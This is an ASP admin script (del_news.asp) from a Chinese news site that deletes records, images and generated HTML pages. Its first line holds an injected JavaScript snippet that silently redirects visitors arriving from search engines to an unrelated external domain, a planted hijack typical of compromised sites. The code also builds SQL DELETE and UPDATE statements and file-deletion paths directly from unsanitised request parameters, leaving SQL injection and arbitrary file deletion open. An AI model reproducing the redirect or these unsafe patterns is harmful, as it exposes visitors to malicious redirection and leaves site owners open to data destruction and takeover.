d:\wwwroot\wuchunhua\admin\del_news.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim theid,thdel
007: theid=request("adid")
008: thedel=request("del")
009:
010: if theid="" or thedel="" then
011: response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
012: response.end
013: end if
014:
015:
016: if thedel="data" then
017: sql="select * from news_data where adid in("&theid&")"
018: set rs=server.createObject("ADODB.recordset")
019: rs.open sql,conn,1,1
020: Set fdel = CreateObject("Scripting.FileSystemObject")  
021: do while not rs.eof
022: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
023: '''''''''''删除图片开始''''''''''''''''
024:               tempImageDir = Server.MapPath("../adpic/"&rs("pic")&"")
025:                 fdel.DeleteFile(tempImageDir)
026: '''''''''''删除图片结束'''''''''''''''
027: end if
028: rs.movenext
029: loop
030: set fdel=nothing
031: rs.close
032: set rs=nothing
033:
034: sql="delete from news_data where adid in("&theid&")"
035: conn.execute(sql)
036:
037: sql="delete from news_message where adid in("&theid&")"
038: conn.execute(sql)
039: '''''''''''删除html开始''''''''''''''''
040: Set fdel = CreateObject("Scripting.FileSystemObject")  
041: for i=1 to request("adid").count
042: id=request("adid")(i)
043:               tempImageDir = Server.MapPath("../html/news/"&id&".htm")
044:                 fdel.DeleteFile(tempImageDir)
045:         next
046:        set fdel=nothing
047: '''''''''''删除html结束'''''''''''''''
048: end if
049:
050: if thedel="message" then
051: sql="delete from news_message where id in("&theid&")"
052: conn.execute(sql)
053: end if
054:
055: if thedel="pass" then
056: conn.execute("update news_data set mark='yes' where adid in("&theid&")")
057: end if
058:
059: conn.close  
060: set conn=nothing                                
061: response.redirect request.ServerVariables("HTTP_REFERER")
062: %>
063:
064:

---